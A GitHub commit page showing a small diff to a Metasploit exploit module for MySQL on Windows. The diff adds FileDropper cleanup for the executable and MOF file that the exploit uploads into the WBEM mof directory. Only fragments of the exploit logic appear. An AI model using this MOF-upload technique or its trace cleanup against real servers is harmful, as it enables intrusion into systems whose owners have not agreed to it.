Skip to content

Commit 6d3d4c1

Browse files
author
jvazquez-r7
committed
Added support for FileDropper
1 parent 18f4df0 commit 6d3d4c1

File tree

1 file changed

+3
-0
lines changed

1 file changed

+3
-0
lines changed

modules/exploits/windows/mysql/mysql_mof.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
1313
include Msf::Exploit::Remote::MYSQL
1414
include Msf::Exploit::WbemExec
1515
include Msf::Exploit::EXE
16+
include Msf::Exploit::FileDropper
1617

1718
def initialize(info = {})
1819
super(update_info(info,
@@ -122,6 +123,7 @@ def exploit
122123
print_status("#{peer} - Uploading to '#{dest}'")
123124
begin
124125
upload_file(exe, dest)
126+
register_file_for_cleanup("#{exe_name}")
125127
rescue RbMysql::AccessDeniedError
126128
print_error("#{peer} - No permission to write. I blame kc :-)")
127129
return
@@ -133,6 +135,7 @@ def exploit
133135
print_status("#{peer} - Uploading to '#{dest}'")
134136
begin
135137
upload_file(mof, dest)
138+
register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
136139
rescue RbMysql::AccessDeniedError
137140
print_error("#{peer} - No permission to write. Bail!")
138141
return

0 commit comments

Comments
 (0)